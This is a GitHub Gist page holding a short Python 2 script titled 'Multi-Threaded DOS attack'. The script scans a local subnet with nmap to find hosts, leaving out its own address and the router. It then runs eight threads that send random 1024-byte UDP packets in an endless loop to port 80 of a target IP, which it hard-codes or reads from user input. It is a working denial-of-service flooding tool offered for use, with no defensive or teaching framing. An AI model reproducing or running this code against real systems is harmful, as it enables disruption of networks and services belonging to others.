Last active
August 23, 2020 10:19
-
-
Save neerajvashistha/2ecde01011a42e05d804acce83674971 to your computer and use it in GitHub Desktop.
Multi-Threaded DOS attack
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import random | |
import Queue | |
from threading import Thread | |
import logging | |
import os | |
import sys | |
import time,re,subprocess | |
reload(sys) | |
sys.setdefaultencoding('utf8') | |
logger = logging.getLogger(__name__) | |
logging.getLogger().setLevel(logging.INFO) | |
def get_path(IP): | |
selfip=subprocess.check_output(['ifconfig','wlo1']) | |
subip=re.findall( r'[0-9]+(?:\.[0-9]+){3}', selfip ) | |
s = subprocess.check_output(['nmap', '-sP',IP]) | |
ip = re.findall( r'[0-9]+(?:\.[0-9]+){3}', s ) | |
return list(set(set(ip)-set(subip))-set(['192.168.1.1']))#remover your IP address and router's | |
def get_text(ip): | |
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) #Creates a socket | |
bytes=random._urandom(1024) #Creates packet | |
ip=raw_input('Target IP: ') #take input if you wish | |
port=80 #Port we direct to attack | |
sent=0 | |
while 1: #Infinitely loops sending packets to the port until the program is exited. | |
sock.sendto(bytes,(ip,port)) | |
print "Sent %s amount of packets to %s at port %s." % (sent,ip,port) | |
sent= sent + 1 | |
class DownloadWorker(Thread): | |
def __init__(self, queue): | |
Thread.__init__(self) | |
self.queue = queue | |
def run(self): | |
while True: | |
# Get the work from the queue and expand the tuple | |
ip = self.queue.get() | |
get_text(ip) | |
self.queue.task_done() | |
def main(): | |
ts = time.time() | |
# ips = get_path('192.168.1.0/24') | |
ips = ['192.168.1.169'] | |
print ips | |
# Create a queue to communicate with the worker threads | |
queue = Queue.Queue() | |
# Create 8 worker threads | |
for x in range(8): | |
worker = DownloadWorker(queue) | |
# Setting daemon to True will let the main thread exit even though the workers are blocking | |
worker.daemon = True | |
worker.start() | |
# Put the tasks into the queue as a tuple | |
for ip in ips: | |
logger.info('Queueing {}'.format(ip)) | |
queue.put((ip)) | |
# Causes the main thread to wait for the queue to finish processing all the tasks | |
queue.join() | |
print('Took {}'.format(time.time() - ts)) | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment